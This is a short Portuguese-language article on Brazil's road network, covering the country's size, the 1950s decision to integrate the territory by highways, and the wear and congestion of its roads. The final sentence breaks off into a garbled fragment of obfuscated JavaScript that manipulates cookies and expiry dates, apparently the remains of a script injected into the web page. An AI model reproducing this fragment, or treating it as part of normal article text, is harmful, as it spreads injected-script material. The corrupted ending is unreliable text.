Malha Rodoviária Brasileira e Seus Desafios

A formação do Brasil enquanto país sempre passou por uma série de problemas que se repetiram ao longo da história. Um dos temas mais recorrentes está relacionado com as dimensões territoriais do Estado, um dos maiores do mundo nesse aspecto.

Com uma área de 8.516.000 km², O Brasil ocupa a quinta colocação na lista dos maiores países do mundo, ficando atrás apenas de Estados Unidos, China, Canadá e Rússia.

Um dos problemas mais comuns para se manter a unidade em um território com essas dimensões é conseguir chegar a todos os rincões do território de maneira satisfatória, sem negligenciar determinadas regiões. É aí que entra o plano de integração territorial de um país.

Durante a década de 1950, a chegada em massa de indústrias automotivas estrangeiras no mercado brasileiro motivou o governo federal a investir em um plano de integração territorial baseado em uma extensa malha rodoviária. Os ecos dessa decisão são perceptíveis até hoje.

Isso porque as estradas que cortam o Brasil de norte a sul, de leste a oeste são a principal forma de se chegar a todos os cantos do país por todas as formas de transporte. Sejam eles os transportes coletivos de pessoas, os transportes em veículos particulares e, principalmente, o transporte de cargas, feito por caminhões e carretas.

O fluxo muito alto de veículos torna difícil a manutenção das estradas que precisa ser feita de maneira mais recorrente devido ao desgaste da pista por veículos pesados. Outro ponto é o trânsito muito elevado nas vias, o que exige um investimento maior no alargamento das pistas.

Os 1 610 076 km de malha rodoviária brasileira ainda são insuficientes para uma integração completa, mas muito precisa ser feito no aspecto da manutenção das vias existentes e na criação de diferentes formas de escoamento que deixem as estradas menos sobrecarregadas.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]